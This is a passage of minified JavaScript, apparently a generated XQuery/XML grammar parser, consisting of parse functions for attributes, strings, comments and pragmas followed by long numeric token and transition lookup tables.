41:f(41);break;default:f(35)}E.endNonterminal(\"AposAttr\",g)},this.parse_QuotAttr=function(){E.startNonterminal(\"QuotAttr\",g),p(9);switch(y){case 22:f(22);break;case 26:f(26);break;case 21:f(21);break;case 31:f(31);break;case 275:f(275);break;case 278:f(278);break;case 274:f(274);break;case 37:f(37);break;default:f(35)}E.endNonterminal(\"QuotAttr\",g)},this.parse_CData=function(){E.startNonterminal(\"CData\",g),p(1);switch(y){case 14:f(14);break;case 67:f(67);break;default:f(35)}E.endNonterminal(\"CData\",g)},this.parse_XMLComment=function(){E.startNonterminal(\"XMLComment\",g),p(0);switch(y){case 12:f(12);break;case 50:f(50);break;default:f(35)}E.endNonterminal(\"XMLComment\",g)},this.parse_PI=function(){E.startNonterminal(\"PI\",g),p(3);switch(y){case 13:f(13);break;case 62:f(62);break;case 63:f(63);break;default:f(35)}E.endNonterminal(\"PI\",g)},this.parse_Pragma=function(){E.startNonterminal(\"Pragma\",g),p(2);switch(y){case 11:f(11);break;case 38:f(38);break;case 39:f(39);break;default:f(35)}E.endNonterminal(\"Pragma\",g)},this.parse_Comment=function(){E.startNonterminal(\"Comment\",g),p(4);switch(y){case 55:f(55);break;case 44:f(44);break;case 32:f(32);break;default:f(35)}E.endNonterminal(\"Comment\",g)},this.parse_CommentDoc=function(){E.startNonterminal(\"CommentDoc\",g),p(6);switch(y){case 33:f(33);break;case 34:f(34);break;case 55:f(55);break;case 44:f(44);break;default:f(35)}E.endNonterminal(\"CommentDoc\",g)},this.parse_QuotString=function(){E.startNonterminal(\"QuotString\",g),p(5);switch(y){case 3:f(3);break;case 2:f(2);break;case 1:f(1);break;case 37:f(37);break;default:f(35)}E.endNonterminal(\"QuotString\",g)},this.parse_AposString=function(){E.startNonterminal(\"AposString\",g),p(7);switch(y){case 21:f(21);break;case 31:f(31);break;case 23:f(23);break;case 24:f(24);break;case 41:f(41);break;default:f(35)}E.endNonterminal(\"AposString\",g)},this.parse_Prefix=function(){E.startNonterminal(\"Prefix\",g),h(13),l(),a(),E.endNonterminal(\"Prefix\",g)},this.parse__EQName=function(){E.startNonterminal(\"_EQName\",g),h(12),l(),o(),E.endNonterminal(\"_EQName\",g)};var v,m,g,y,b,w,E,S,x,T,N};r.getTokenSet=function(e){var t=[],n=e<0?-e:INITIAL[e]&4095;for(var i=0;i<279;i+=32){var s=i,o=(i>>5)*2066+n-1,u=o>>2,a=u>>2,f=r.EXPECTED[(o&3)+r.EXPECTED[(u&3)+r.EXPECTED[(a&3)+r.EXPECTED[a>>2]]]];for(;f!=0;f>>>=1,++s)(f&1)!=0&&t.push(r.TOKEN[s])}return t},r.MAP0=[67,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,18,18,18,18,18,18,18,18,18,19,20,21,22,23,24,25,26,27,28,29,30,27,31,31,31,31,31,31,31,31,31,31,32,31,31,33,31,31,31,31,31,31,34,35,36,37,31,37,38,39,40,41,42,43,44,45,46,31,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,31,62,63,64,65,37],r.MAP1=[108,124,214,214,214,214,214,214,214,214,214,214,214,214,214,214,156,181,181,181,181,181,214,215,213,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,247,261,277,293,309,347,363,379,416,416,416,408,331,323,331,323,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,433,433,433,433,433,433,433,316,331,331,331,331,331,331,331,331,394,416,416,417,415,416,416,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,330,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,416,67,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,18,18,18,18,18,18,18,18,18,19,20,21,22,23,24,25,26,27,28,29,30,27,31,31,31,31,31,31,31,31,31,31,31,31,31,31,37,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,32,31,31,33,31,31,31,31,31,31,34,35,36,37,31,37,38,39,40,41,42,43,44,45,46,31,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,31,62,63,64,65,37,37,37,37,37,37,37,37,37,37,37,37,31,31,37,37,37,37,37,37,37,66,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66],r.MAP2=[57344,63744,64976,65008,65536,983040,63743,64975,65007,65533,983039,1114111,37,31,37,31,31,37],r.INITIAL=[1,2,49155,57348,5,6,7,8,9,10,11,12,13,14,15],r.TRANSITION=[19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,17408,19288,17439,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,22126,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17672,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,19469,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,36919,18234,18262,18278,18294,18320,18336,18361,18397,18419,18432,18304,18448,18485,18523,18553,18583,18599,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,18825,18841,18871,18906,18944,18960,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19074,36169,17439,36866,17466,36890,36866,22314,19105,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,22126,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17672,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,19469,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,36919,18234,18262,18278,18294,18320,18336,18361,18397,18419,18432,18304,18448,18485,18523,18553,18583,18599,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,18825,18841,18871,18906,18944,18960,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22182,19288,19121,36866,17466,18345,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19273,19552,19304,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19332,17423,19363,36866,17466,17537,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,18614,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,19391,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,19427,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36154,19288,19457,36866,17466,17740,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22780,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22375,22197,18469,36866,17466,36890,36866,21991,24018,22987,17556,17575,22288,17486,17509,17525,18373,21331,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,19485,19501,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19537,22390,19568,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19596,19611,19457,36866,17466,36890,36866,18246,19627,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22242,20553,19457,36866,17466,36890,36866,18648,30477,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36472,19288,19457,36866,17466,17809,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,21770,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,19643,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,19672,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,20538,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,17975,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22345,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19726,19742,21529,24035,23112,26225,23511,27749,27397,24035,34360,24035,24036,23114,35166,23114,23114,19758,23511,35247,23511,23511,28447,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,24254,19821,23511,23511,23511,23511,23512,19441,36539,24035,24035,24035,24035,19846,19869,23114,23114,23114,28618,32187,19892,23511,23511,23511,34585,20402,36647,24035,24035,24036,23114,33757,23114,23114,23029,20271,23511,27070,23511,23511,30562,24035,24035,29274,26576,23114,23114,31118,23036,29695,23511,23511,32431,23634,30821,24035,23110,19913,23114,23467,31261,23261,34299,19932,24035,32609,19965,35389,19984,27689,19830,29391,29337,20041,22643,35619,33728,20062,20121,20166,35100,26145,20211,23008,19876,20208,20227,25670,20132,26578,27685,20141,20243,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36094,19288,19457,36866,17466,21724,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,220